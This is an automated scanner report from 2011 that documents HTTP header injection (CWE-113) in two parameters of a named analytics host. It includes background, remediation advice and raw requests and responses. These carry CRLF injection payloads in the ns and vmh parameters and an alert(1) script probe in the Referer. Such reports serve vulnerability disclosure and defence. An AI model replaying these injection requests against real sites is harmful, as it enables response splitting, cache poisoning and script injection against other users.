HTTP Header Injection, CWE-113, tribuneinteractive.112.2o7.net

HTTP Header Injection Report | CloudScan Vulnerability Crawler

Report generated by CloudScan Vulnerability Crawler at Thu Jan 27 07:26:07 CST 2011.



DORK CWE-79 XSS Report

Loading

1. HTTP header injection

1.1. http://tribuneinteractive.112.2o7.net/b/ss/tribglobal/1/H.22.1/s67021695913281 [ns parameter]

1.2. http://tribuneinteractive.112.2o7.net/b/ss/tribglobal/1/H.22.1/s67021695913281 [vmh parameter]



1. HTTP header injection
There are 2 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


1.1. http://tribuneinteractive.112.2o7.net/b/ss/tribglobal/1/H.22.1/s67021695913281 [ns parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tribuneinteractive.112.2o7.net
Path:   /b/ss/tribglobal/1/H.22.1/s67021695913281

Issue detail

The value of the ns request parameter is copied into the Location response header. The payload c3265%0d%0a0ecdc635cc9 was submitted in the ns parameter. This caused a response containing an injected HTTP header.

Request

GET /b/ss/tribglobal/1/H.22.1/s67021695913281?AQB=1&vmh=m.trb.com&&ndh=1&t=26%2F0%2F2011%2014%3A8%3A3%203%20360&vmt=4D4DDB8E&ns=c3265%0d%0a0ecdc635cc9&pageName=Daniel%20Bell%2C%20sociologist%20and%20critic%20of%20ideology%2C%20d%20-%20WGNTV%20%2F%20business%20-%20story.&g=http%3A%2F%2Fwww.wgntv.com%2Fbusiness%2Fsns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert(1)%2F%2F9b2220c5c29&r=http%3A%2F%2Fburp%2Fshow%2F14&cc=USD&ch=WGNTV%3Abusiness&server=wgntv.com&events=event5&h1=WGNTV%3Abusiness&h2=business&h4=business&v20=WGNTV&v21=story&v25=First%20Visit&c30=Y&c33=Wednesday&c34=1%3A30PM&c35=Weekday&c36=Page%2024c8de&c38=story&c44=sns-ap-us-obit-daniel-bell&c46=Politics%20%2F%20NewYork&c50=ad%20blocking&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava(TM)%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: tribuneinteractive.112.2o7.net
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]

Response

HTTP/1.1 302 Found
Date: Thu, 27 Jan 2011 04:20:06 GMT
Server: Omniture DC/2.0.0
Location: http://c3265
0ecdc635cc9
.112.2o7.net/b/ss/tribglobal/1/H.22.1/s67021695913281?AQB=1&vmh=tribuneinteractive.112.2o7.net&&vmh=m.trb.com&&ndh=1&t=26%2F0%2F2011%2014%3A8%3A3%203%20360&vmt=4D4DDB8E&ns=c3265%0d%0a0ecdc635cc9&pageName=Daniel%20Bell%2C%20sociologist%20and%20critic%20of%20ideology%2C%20d%20-%20WGNTV%20%2F%20business%20-%20story.&g=http%3A%2F%2Fwww.wgntv.com%2Fbusiness%2Fsns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert(1)%2F%2F9b2220c5c29&r=http%3A%2F%2Fburp%2Fshow%2F14&cc=USD&ch=WGNTV%3Abusiness&server=wgntv.com&events=event5&h1=WGNTV%3Abusiness&h2=business&h4=business&v20=WGNTV&v21=story&v25=First%20Visit&c30=Y&c33=Wednesday&c34=1%3A30PM&c35=Weekday&c36=Page%2024c8de&c38=story&c44=sns-ap-us-obit-daniel-bell&c46=Politics%20%2F%20NewYork&c50=ad%20blocking&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava(TM)%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1
Expires: Wed, 26 Jan 2011 04:20:06 GMT
Last-Modified: Fri, 28 Jan 2011 04:20:06 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
xserver: www81
Content-Length: 0
Content-Type: text/plain


1.2. http://tribuneinteractive.112.2o7.net/b/ss/tribglobal/1/H.22.1/s67021695913281 [vmh parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://tribuneinteractive.112.2o7.net
Path:   /b/ss/tribglobal/1/H.22.1/s67021695913281

Issue detail

The value of the vmh request parameter is copied into the Location response header. The payload 63569%0d%0a0fc43aa39d3 was submitted in the vmh parameter. This caused a response containing an injected HTTP header.

Request

GET /b/ss/tribglobal/1/H.22.1/s67021695913281?AQB=1&vmh=63569%0d%0a0fc43aa39d3&&ndh=1&t=26%2F0%2F2011%2014%3A8%3A3%203%20360&vmt=4D4DDB8E&ns=tribuneinteractive&pageName=Daniel%20Bell%2C%20sociologist%20and%20critic%20of%20ideology%2C%20d%20-%20WGNTV%20%2F%20business%20-%20story.&g=http%3A%2F%2Fwww.wgntv.com%2Fbusiness%2Fsns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert(1)%2F%2F9b2220c5c29&r=http%3A%2F%2Fburp%2Fshow%2F14&cc=USD&ch=WGNTV%3Abusiness&server=wgntv.com&events=event5&h1=WGNTV%3Abusiness&h2=business&h4=business&v20=WGNTV&v21=story&v25=First%20Visit&c30=Y&c33=Wednesday&c34=1%3A30PM&c35=Weekday&c36=Page%2024c8de&c38=story&c44=sns-ap-us-obit-daniel-bell&c46=Politics%20%2F%20NewYork&c50=ad%20blocking&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava(TM)%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1
Host: tribuneinteractive.112.2o7.net
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]

Response

HTTP/1.1 302 Found
Date: Thu, 27 Jan 2011 04:19:20 GMT
Server: Omniture DC/2.0.0
Location: http://63569
0fc43aa39d3
/b/ss/tribglobal/1/H.22.1/s67021695913281?AQB=1&vmr=true&&vmh=63569%0d%0a0fc43aa39d3&&ndh=1&t=26%2F0%2F2011%2014%3A8%3A3%203%20360&vmt=4D4DDB8E&ns=tribuneinteractive&pageName=Daniel%20Bell%2C%20sociologist%20and%20critic%20of%20ideology%2C%20d%20-%20WGNTV%20%2F%20business%20-%20story.&g=http%3A%2F%2Fwww.wgntv.com%2Fbusiness%2Fsns-ap-us-obit-daniel-bell%2C0%2C4200211.story%3Fpage%3D24c8de%2522%253balert(1)%2F%2F9b2220c5c29&r=http%3A%2F%2Fburp%2Fshow%2F14&cc=USD&ch=WGNTV%3Abusiness&server=wgntv.com&events=event5&h1=WGNTV%3Abusiness&h2=business&h4=business&v20=WGNTV&v21=story&v25=First%20Visit&c30=Y&c33=Wednesday&c34=1%3A30PM&c35=Weekday&c36=Page%2024c8de&c38=story&c44=sns-ap-us-obit-daniel-bell&c46=Politics%20%2F%20NewYork&c50=ad%20blocking&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava(TM)%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1
Expires: Wed, 26 Jan 2011 04:19:20 GMT
Last-Modified: Fri, 28 Jan 2011 04:19:20 GMT
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private
Pragma: no-cache
xserver: www70
Content-Length: 0
Content-Type: text/plain


Report generated by CloudScan Vulnerability Crawler at Thu Jan 27 07:26:07 CST 2011.